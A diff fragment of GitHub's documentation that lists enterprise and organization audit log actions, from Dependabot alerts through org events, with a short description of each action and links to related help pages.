+## `dependabot_alerts` category actions
+
+| Action | Description
+|--------|-------------
+| `dependabot_alerts.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled {% data variables.product.prodname_dependabot_alerts %} for all existing {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+| `dependabot_alerts.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled {% data variables.product.prodname_dependabot_alerts %} for all existing {% ifversion fpt or ghec %}private {% endif %}repositories.
+
+## `dependabot_alerts_new_repos` category actions
+
+| Action | Description
+|--------|-------------
+| `dependabot_alerts_new_repos.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled {% data variables.product.prodname_dependabot_alerts %} for all new {% ifversion fpt or ghec %}private {% endif %}repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+| `dependabot_alerts_new_repos.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled {% data variables.product.prodname_dependabot_alerts %} for all new {% ifversion fpt or ghec %}private {% endif %}repositories.
+
+## `dependabot_repository_access`category actions
+
+| Action | Description
+|--------|-------------
+| `dependabot_repository_access.repositories_updated` | The repositories that {% data variables.product.prodname_dependabot %} can access were updated.
+
+{%- ifversion fpt or ghec or ghes %}
+## `dependabot_security_updates` category actions
+
+| Action | Description
+|--------|-------------
+| `dependabot_security_updates.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled {% data variables.product.prodname_dependabot_security_updates %} for all existing repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+| `dependabot_security_updates.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled {% data variables.product.prodname_dependabot_security_updates %} for all existing repositories.
+
+## `dependabot_security_updates_new_repos` category actions
+
+| Action | Description
+|--------|-------------
+| `dependabot_security_updates_new_repos.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled {% data variables.product.prodname_dependabot_security_updates %} for all new repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+| `dependabot_security_updates_new_repos.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled {% data variables.product.prodname_dependabot_security_updates %} for all new repositories.
+{%- endif %}
+
+## `dependency_graph` category actions
+
+| Action | Description
+|--------|-------------
+| `dependency_graph.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled the dependency graph for all existing repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+| `dependency_graph.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled the dependency graph for all existing repositories.
+
+## `dependency_graph_new_repos` category actions
+
+| Action | Description
+|--------|-------------
+| `dependency_graph_new_repos.disable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled the dependency graph for all new repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+| `dependency_graph_new_repos.enable` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled the dependency graph for all new repositories.
+
+{%- ifversion fpt or ghec %}
+## `discussion` category actions
+
+| Action | Description
+|--------|-------------
+| `discussion.destroy` | A team discussion was deleted.
+
+## `discussion_comment` category actions
+
+| Action | Description
+|--------|-------------
+| `discussion_comment.destroy` | A [comment on a team discussion post was deleted](/communities/moderating-comments-and-conversations/managing-disruptive-comments#deleting-a-comment).
+| `discussion_comment.update` | A [comment on a team discussion post was edited](/communities/moderating-comments-and-conversations/managing-disruptive-comments#editing-a-comment).
+
+## `discussion_post` category actions
+
+| Action | Description
+|--------|-------------
+| `discussion_post.destroy` | A [team discussion post was deleted](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion).
+| `discussion_post.update` | A [team discussion post was edited](/organizations/collaborating-with-your-team/editing-or-deleting-a-team-discussion).
+
+## `discussion_post_reply` category actions
+
+| Action | Description
+|--------|-------------
+| `discussion_post_reply.destroy` | A [reply to a team discussion post was deleted](/communities/moderating-comments-and-conversations/managing-disruptive-comments#deleting-a-comment).
+| `discussion_post_reply.update` | A [reply to a team discussion post was edited](/communities/moderating-comments-and-conversations/managing-disruptive-comments#editing-a-comment).
+{%- endif %}
+
+{%- ifversion ghec or ghes %}
+## `dotcom_connection` category actions
+
+| Action | Description
+|--------|-------------
+| `dotcom_connection.create` | A {% data variables.product.prodname_github_connect %} connection to {% data variables.product.prodname_dotcom_the_website %} was created.
+| `dotcom_connection.destroy` | A {% data variables.product.prodname_github_connect %} connection to {% data variables.product.prodname_dotcom_the_website %} was deleted.
+| `dotcom_connection.token_updated` | The {% data variables.product.prodname_github_connect %} connection token for {% data variables.product.prodname_dotcom_the_website %} was updated.
+| `dotcom_connection.upload_license_usage` | {% data variables.product.prodname_ghe_server %} license usage was manually uploaded to {% data variables.product.prodname_ghe_cloud %}.
+| `dotcom_connection.upload_usage_metrics` | {% data variables.product.prodname_ghe_server %} usage metrics were uploaded to {% data variables.product.prodname_dotcom_the_website %}.
+{%- endif %}
+
+## `enterprise` category actions
+
+| Action | Description
+|--------|-------------
+| `enterprise.config.disable_anonymous_git_access`   | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} disabled anonymous Git read access for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."
+| `enterprise.config.enable_anonymous_git_access`   | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} enabled anonymous Git read access for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."
+| `enterprise.config.lock_anonymous_git_access`   | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} locked anonymous Git read access to prevent repository admins from changing existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."
+| `enterprise.config.unlock_anonymous_git_access` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} unlocked anonymous Git read access to allow repository admins to change existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."
+| `enterprise.register_self_hosted_runner` | A new {% data variables.product.prodname_actions %} self-hosted runner was registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)."
+| `enterprise.remove_self_hosted_runner` | A {% data variables.product.prodname_actions %} self-hosted runner was removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."
+| `enterprise.runner_group_created` | A {% data variables.product.prodname_actions %} self-hosted runner group was created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)."
+| `enterprise.runner_group_removed` | A {% data variables.product.prodname_actions %} self-hosted runner group was removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
+| `enterprise.runner_group_renamed` | A {% data variables.product.prodname_actions %} self-hosted runner group was renamed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
+| `enterprise.runner_group_updated` | The configuration of a {% data variables.product.prodname_actions %} self-hosted runner group was changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
+| `enterprise.runner_group_runner_removed` |  The REST API was used to remove a {% data variables.product.prodname_actions %} self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)."
+| `enterprise.runner_group_runners_added` | A {% data variables.product.prodname_actions %} self-hosted runner was added to a group. For more information, see [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group).
+| `enterprise.runner_group_runners_updated`|  A {% data variables.product.prodname_actions %} runner group's list of members was updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."
+{%- ifversion ghec %}
+| `enterprise.runner_group_visiblity_updated` | The visibility of a {% data variables.product.prodname_actions %} self-hosted runner group was updated via the REST API. For more information, see "[Update a self-hosted runner group for an organization](/rest/reference/actions#update-a-self-hosted-runner-group-for-an-organization)."
+{%- endif %}
+{%- ifversion ghec or ghes or ghae %}
+| `enterprise.self_hosted_runner_online` | The {% data variables.product.prodname_actions %} runner application was started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+| `enterprise.self_hosted_runner_offline` | The {% data variables.product.prodname_actions %} runner application was stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+{%- endif %}
+{%- ifversion ghec or ghes %}
+| `enterprise.self_hosted_runner_updated` | The {% data variables.product.prodname_actions %} runner application was updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
+{%- endif %}
+
+{%- ifversion ghec %}
+## `enterprise_domain` category actions
+
+| Action | Description
+|--------|-------------
+| `enterprise_domain.approve` | An enterprise domain was approved for an enterprise. For more information, see "[Approving a domain for your enterprise account](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise#approving-a-domain-for-your-enterprise-account)."
+| `enterprise_domain.create` | An enterprise domain was added to an enterprise. For more information, see "[Verifying a domain for your enterprise account](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise#verifying-a-domain-for-your-enterprise-account)."
+| `enterprise_domain.destroy` | An enterprise domain was removed from an enterprise. For more information, see "[Removing an approved or verified domain](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise#removing-an-approved-or-verified-domain)."
+| `enterprise_domain.verify` | An enterprise domain was verified for an enterprise. For more information, see "[Verifying a domain for your enterprise account](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise#verifying-a-domain-for-your-enterprise-account)."
+
+## `enterprise_installation` category actions
+
+| Action | Description
+|--------|-------------
+| `enterprise_installation.create` | The {% data variables.product.prodname_github_app %} associated with an {% data variables.product.prodname_github_connect %} enterprise connection was created.
+| `enterprise_installation.destroy` | The {% data variables.product.prodname_github_app %} associated with an {% data variables.product.prodname_github_connect %} enterprise connection was deleted.
+| `enterprise_installation.token_updated` | The token belonging to {% data variables.product.prodname_github_app %} associated with an {% data variables.product.prodname_github_connect %} enterprise connection was updated.
+{%- endif %}
+
+{%- ifversion fpt or ghec %}
+## `environment` category actions
+
+| Action | Description
+|--------|-------------
+| `environment.add_protection_rule` | A {% data variables.product.prodname_actions %} environment protection rule was created via the API. For more information, see "[Environment protection rules](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-protection-rules)."
+| `environment.create_actions_secret` | A secret was created for a {% data variables.product.prodname_actions %} environment via the API. For more information, see "[Environment secrets](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)."
+| `environment.delete` | An environment was deleted via the API. For more information, see "[Deleting an environment](/actions/deployment/targeting-different-environments/using-environments-for-deployment#deleting-an-environment)."
+| `environment.remove_actions_secret` | A secret was deleted for a {% data variables.product.prodname_actions %} environment via the API. For more information, see "[Environment secrets](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)."
+| `environment.remove_protection_rule` | A {% data variables.product.prodname_actions %} environment protection rule was deleted via the API. For more information, see "[Environment protection rules](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-protection-rules)."
+| `environment.update_actions_secret` | A secret was updated for a {% data variables.product.prodname_actions %} environment via the API. For more information, see "[Environment secrets](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-secrets)."
+| `environment.update_protection_rule` | A {% data variables.product.prodname_actions %} environment protection rule was updated via the API. For more information, see "[Environment protection rules](/actions/deployment/targeting-different-environments/using-environments-for-deployment#environment-protection-rules)."
+{%- endif %}
+
+{%- ifversion ghae %}
+## `external_group` category actions
+
+| Action | Description
+|--------|-------------
+| `external_group.delete` | An Okta group was deleted. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+| `external_group.link` | An Okta group was mapped to a {% data variables.product.prodname_ghe_managed %} team. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+| `external_group.provision` | An Okta group was mapped to a team on {% data variables.product.prodname_ghe_managed %}. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+| `external_group.unlink` | An Okta group was unmapped from a {% data variables.product.prodname_ghe_managed %} team. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+| `external_group.update` | An Okta group's settings were updated. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+
+## `external_identity` category actions
+| Action | Description
+|--------|-------------
+| `external_identity.deprovision` | A user was removed from an Okta group and was subsequently deprovisioned from {% data variables.product.prodname_ghe_managed %}. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+| `external_identity.provision` | An Okta user was added to an Okta group and was subsequently provisioned to the mapped team on {% data variables.product.prodname_ghe_managed %}. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+| `external_identity.update` | An Okta user's settings were updated. For more information, see "[Mapping Okta groups to teams](/admin/identity-and-access-management/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
+{%- endif %}
+
+## `gist` category actions
+
+| Action | Description
+|--------|-------------
+| `gist.create` | A gist is created.
+| `gist.destroy` | A gist is deleted.
+| `gist.visibility_change` | The visibility of a gist is changed.
+
+{% ifversion git-events-audit-log %}
+## `git` category actions
+
+{% ifversion enable-git-events %}
+Before you'll see `git` category actions, you must enable Git events in the audit log. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise#managing-git-events-in-the-audit-log)."
+{% endif %}
+
+{% data reusables.audit_log.git-events-not-in-search-results %}
+
+| Action | Description
+|--------|-------------
+| `git.clone` | A repository was cloned.
+| `git.fetch` | Changes were fetched from a repository.
+| `git.push`  | Changes were pushed to a repository.
+{% endif %}
+
+## `hook` category actions
+
+| Action | Description
+|--------|-------------
+{%- ifversion ghes or ghae %}
+| `hook.active_changed`             | A hook's active status was updated.
+{%- endif %}
+| `hook.config_changed`             | A hook's configuration was changed.
+| `hook.create`                     | A new hook was added.
+| `hook.destroy`                    | A hook was deleted.
+| `hook.events_changed`             | A hook's configured events were changed.
+
+## `integration` category actions
+
+| Action | Description
+|--------|-------------
+| `integration.create` | An integration was created.
+| `integration.destroy` | An integration was deleted.
+| `integration.manager_added` | A member of an enterprise or organization was added as an integration manager.
+| `integration.manager_removed` | A member of an enterprise or organization was removed from being an integration manager.
+| `integration.transfer` | Ownership of an integration was transferred to another user or organization.
+| `integration.remove_client_secret` | A client secret for an integration was removed.
+| `integration.revoke_all_tokens` | All user tokens for an integration were requested to be revoked.
+| `integration.revoke_tokens` | Token(s) for an integration were revoked.
+
+## `integration_installation` category actions
+
+| Action | Description
+|--------|-------------
+| `integration_installation.contact_email_changed` | A contact email for an integration was changed.
+| `integration_installation.create` | An integration was installed.
+| `integration_installation.destroy` | An integration was uninstalled.
+| `integration_installation.repositories_added` | Repositories were added to an integration.
+| `integration_installation.repositories_removed` | Repositories were removed from an integration.
+{%- ifversion fpt or ghec %}
+| `integration_installation.suspend` | An integration was suspended.
+| `integration_installation.unsuspend` | An integration was unsuspended.
+{%- endif %}
+| `integration_installation.version_updated` | Permissions for an integration were updated.
+
+## `integration_installation_request` category actions
+
+| Action | Description
+|--------|-------------
+| `integration_installation_request.create` | An member requested that an owner install an integration for use in an enterprise or organization.
+| `integration_installation_request.close` | A request to install an integration for use in an enterprise or organization was either approved or denied by an owner, or canceled by the member who opened the request.
+
+{%- ifversion ghec or ghae %}
+## `ip_allow_list` category actions
+
+| Action | Description
+|--------|-------------
+| `ip_allow_list.enable`               | An IP allow list was enabled.
+| `ip_allow_list.enable_for_installed_apps` | An IP allow list was enabled for installed {% data variables.product.prodname_github_apps %}.
+| `ip_allow_list.disable`              | An IP allow list was disabled.
+| `ip_allow_list.disable_for_installed_apps` | An IP allow list was disabled for installed {% data variables.product.prodname_github_apps %}.
+
+## `ip_allow_list_entry` category actions
+
+| Action | Description
+|--------|-------------
+| `ip_allow_list_entry.create` | An IP address was added to an IP allow list.
+| `ip_allow_list_entry.update` | An IP address or its description was changed.
+| `ip_allow_list_entry.destroy` | An IP address was deleted from an IP allow list.
+{%- endif %}
+
+## `issue` category actions
+
+| Action | Description
+|--------|-------------
+| `issue.destroy`                      | An issue was deleted from the repository. For more information, see "[Deleting an issue](/issues/tracking-your-work-with-issues/deleting-an-issue)."
+| `issue.pinned`                       | An issue was pinned to a repository. For more information, see "[Pinning an issue to your repository](/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository)."
+| `issue.transfer`                     | An issue was transferred to another repository. For more information, see "[Transferring an issue to another repository](/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository)."
+| `issue.unpinned`                     | An issue was unpinned from a repository. For more information, see "[Pinning an issue to your repository](/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository)."
+
+## `issue_comment` category actions
+
+| Action | Description
+|--------|-------------
+| `issue_comment.destroy`  | A comment on an issue was deleted from the repository.
+| `issue_comment.pinned`   | A comment on an issue was pinned to a repository.
+| `issue_comment.unpinned` | A comment on an issue was unpinned from a repository.
+| `issue_comment.update`   | A comment on an issue (other than the initial one) changed.
+
+## `issues` category actions
+
+| Action | Description
+|--------|-------------
+| `issues.deletes_disabled` | The ability for enterprise members to delete issues was disabled. Members cannot delete issues in any organizations in an enterprise. For more information, see "[Enforcing a policy for deleting issues](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-deleting-issues)."
+| `issues.deletes_enabled` | The ability for enterprise members to delete issues was enabled. Members can delete issues in any organizations in an enterprise. For more information, see "[Enforcing a policy for deleting issues](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-deleting-issues)."
+| `issues.deletes_policy_cleared` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared the policy setting for allowing members to delete issues in an enterprise. For more information, see "[Enforcing a policy for deleting issues](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-deleting-issues)."
+
+{%- ifversion fpt or ghec %}
+## `marketplace_agreement_signature` category actions
+
+| Action | Description
+|--------|-------------
+| `marketplace_agreement_signature.create` | A user signed the {% data variables.product.prodname_marketplace %} Developer Agreement on behalf of an organization.
+
+## `marketplace_listing` category actions
+
+| Action | Description
+|--------|-------------
+| `marketplace_listing.approve` | A listing was approved for inclusion in {% data variables.product.prodname_marketplace %}.
+| `marketplace_listing.change_category` | A category for a listing for an app in {% data variables.product.prodname_marketplace %} was changed.
+| `marketplace_listing.create` | A listing for an app in {% data variables.product.prodname_marketplace %} was created.
+| `marketplace_listing.delist` | A listing was removed from {% data variables.product.prodname_marketplace %}.
+| `marketplace_listing.redraft` | A listing was sent back to draft state.
+| `marketplace_listing.reject` | A listing was not accepted for inclusion in {% data variables.product.prodname_marketplace %}.
+{%- endif %}
+
+## `members_can_create_pages` category actions
+
+| Action | Description
+|--------|-------------
+| `members_can_create_pages.disable` | The ability for members to publish {% data variables.product.prodname_pages %} was disabled. Members cannot publish {% data variables.product.prodname_pages %} in an organization. For more information, see "[Managing the publication of GitHub Pages sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)."
+| `members_can_create_pages.enable` | The ability for members to publish {% data variables.product.prodname_pages %} was enabled. Members can publish {% data variables.product.prodname_pages %} in an organization. For more information, see "[Managing the publication of GitHub Pages sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)."
+
+## `members_can_create_private_pages` category actions
+
+| Action | Description
+|--------|-------------
+| `members_can_create_private_pages.disable` | The ability for members to publish private {% data variables.product.prodname_pages %} was disabled. Members cannot publish private {% data variables.product.prodname_pages %} in an organization. For more information, see "[Managing the publication of GitHub Pages sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)."
+| `members_can_create_private_pages.enable` |  The ability for members to publish private {% data variables.product.prodname_pages %} was enabled. Members can publish private {% data variables.product.prodname_pages %} in an organization. For more information, see "[Managing the publication of GitHub Pages sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)."
+
+## `members_can_create_public_pages` category actions
+
+| Action | Description
+|--------|-------------
+| `members_can_create_public_pages.disable` |  The ability for members to publish public {% data variables.product.prodname_pages %} was disabled. Members cannot publish public {% data variables.product.prodname_pages %} in an organization. For more information, see "[Managing the publication of GitHub Pages sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)."
+| `members_can_create_public_pages.enable` |  The ability for members to publish public {% data variables.product.prodname_pages %} was enabled. Members can publish public {% data variables.product.prodname_pages %} in an organization. For more information, see "[Managing the publication of GitHub Pages sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)."
+
+{%- ifversion ghec or ghes or ghae %}
+## `members_can_delete_repos` category actions
+
+| Action | Description
+|--------|-------------
+| `members_can_delete_repos.clear` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared the policy setting for deleting or transfering repositories in any organizations in an enterprise. For more information, see "[Enforcing a policy for repository deletion and transfer](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-deletion-and-transfer)."
+| `members_can_delete_repos.disable` | The ability for enterprise members to delete repositories was disabled. Members cannot delete or transfer repositories in any organizations in an enterprise. For more information, see "[Enforcing a policy for repository deletion and transfer](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-deletion-and-transfer)."
+| `members_can_delete_repos.enable` |  The ability for enterprise members to delete repositories was enabled. Members can delete or transfer repositories in any organizations in an enterprise. For more information, see "[Enforcing a policy for repository deletion and transfer](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-repository-deletion-and-transfer)."
+
+## `members_can_view_dependency_insights` category actions
+
+| Action | Description
+|--------|-------------
+| `members_can_view_dependency_insights.clear` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} cleared the policy setting for viewing dependency insights in any organizations in an enterprise.{% ifversion ghec %} For more information, see "[Enforcing a policy for visibility of dependency insights](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."{% endif %}
+| `members_can_view_dependency_insights.disable` | The ability for enterprise members to view dependency insights was disabled. Members cannot view dependency insights in any organizations in an enterprise.{% ifversion ghec %} For more information, see "[Enforcing a policy for visibility of dependency insights](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."{% endif %}
+| `members_can_view_dependency_insights.enable` |  The ability for enterprise members to view dependency insights was enabled. Members can view dependency insights in any organizations in an enterprise.{% ifversion ghec %} For more information, see "[Enforcing a policy for visibility of dependency insights](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)."{% endif %}
+
+## `migration` category actions
+
+| Action | Description
+|--------|-------------
+| `migration.create` | A migration file was created for transferring data from a *source* location (such as a {% data variables.product.prodname_dotcom_the_website %} organization or a {% data variables.product.prodname_ghe_server %} instance) to a *target* {% data variables.product.prodname_ghe_server %} instance.
+| `migration.destroy_file` | A migration file for transferring data from a *source* location (such as a {% data variables.product.prodname_dotcom_the_website %} organization or a {% data variables.product.prodname_ghe_server %} instance) to a *target* {% data variables.product.prodname_ghe_server %} instance was deleted.
+|  `migration.download` | A migration file for transferring data from a *source* location (such as a {% data variables.product.prodname_dotcom_the_website %} organization or a {% data variables.product.prodname_ghe_server %} instance) to a *target* {% data variables.product.prodname_ghe_server %} instance was downloaded.
+{%- endif %}
+
+## `oauth_access` category actions
+
+| Action | Description
+|--------|-------------
+`oauth_access.create`   | An [OAuth access token][] was generated for a user account. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)."
+`oauth_access.destroy`  | An [OAuth access token][] was deleted from a user account.
+
+  [OAuth access token]: /developers/apps/building-oauth-apps/authorizing-oauth-apps
+
+## `oauth_application` category actions
+
+| Action | Description
+|--------|-------------
+| `oauth_application.create`           | An [OAuth application][] was created for a user or organization account.
+| `oauth_application.destroy`          | An [OAuth application][] was deleted from a user or organization account.
+{%- ifversion fpt or ghec %}
+| `oauth_application.generate_client_secret`   | An [OAuth application][]'s secret key was generated.
+| `oauth_application.remove_client_secret`     | An [OAuth application][]'s secret key was deleted.
+{%- endif %}
+| `oauth_application.reset_secret`      | An [OAuth application][]'s secret key was reset.
+{%- ifversion fpt or ghec %}
+| `oauth_application.revoke_all_tokens` | All user tokens for an [OAuth application][] were requested to be revoked.
+{%- endif %}
+| `oauth_application.revoke_tokens`     | Token(s) for an [OAuth application][] were revoked.
+| `oauth_application.transfer`          | An [OAuth application][] was transferred from one user or organization account to another.
+{%- ifversion ghes or ghae %}
+| `oauth_application.unsuspend`         | An [OAuth application][] was unsuspended for a user or organization account.
+{%- endif %}
+
+  [OAuth application]: /guides/basics-of-authentication/#registering-your-app
+
+{%- ifversion fpt or ghec %}
+## `oauth_authorization` category actions
+
+| Action | Description
+|--------|-------------
+| `oauth_authorization.create`          | An authorization for an OAuth application was created. For more information, see "[Authorizing OAuth Apps](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)."
+| `oauth_authorization.destroy`          | An authorization for an OAuth application was deleted. For more information, see "[Authorizing OAuth Apps](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)."
+| `oauth_authorization.update`          | An authorization for an OAuth application was updated. For more information, see "[Authorizing OAuth Apps](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)."
+{%- endif %}
+
+## `org` category actions
+
+| Action | Description
+|--------|-------------
+| `org.accept_business_invitation` | An invitation sent to an organization to join an enterprise was accepted. {% ifversion ghec %}For more information, see "[Inviting an organization to join your enterprise account](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#inviting-an-organization-to-join-your-enterprise-account)."{% endif %}
+| `org.add_billing_manager` | A billing manager was added to an organization. {% ifversion fpt or ghec %}For more information, see "[Adding a billing manager to your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization)."{% endif %}
+| `org.add_member` | A user joined an organization.
+| `org.advanced_security_disabled_for_new_repos` | {% data variables.product.prodname_GH_advanced_security %} was disabled for new repositories in an organization.
+| `org.advanced_security_disabled_on_all_repos` | {% data variables.product.prodname_GH_advanced_security %} was disabled for all repositories in an organization.
+| `org.advanced_security_enabled_for_new_repos` | {% data variables.product.prodname_GH_advanced_security %} was enabled for new repositories in an organization.
+| `org.advanced_security_enabled_on_all_repos` | {% data variables.product.prodname_GH_advanced_security %} was enabled for all repositories in an organization.
+| `org.advanced_security_policy_selected_member_disabled` | An enterprise owner prevented {% data variables.product.prodname_GH_advanced_security %} features from being enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %}
+| `org.advanced_security_policy_selected_member_enabled` | An enterprise owner allowed {% data variables.product.prodname_GH_advanced_security %} features to be enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %}
+| `org.advanced_security_policy_update` | An organization owner updated polices for {% data variables.product.prodname_GH_advanced_security %} in an enterprise. {% data reusables.advanced-security.more-information-about-enforcement-policy %}
+| `org.async_delete` | A user initiated a background job to delete an organization.
+{%- ifversion ghec %}
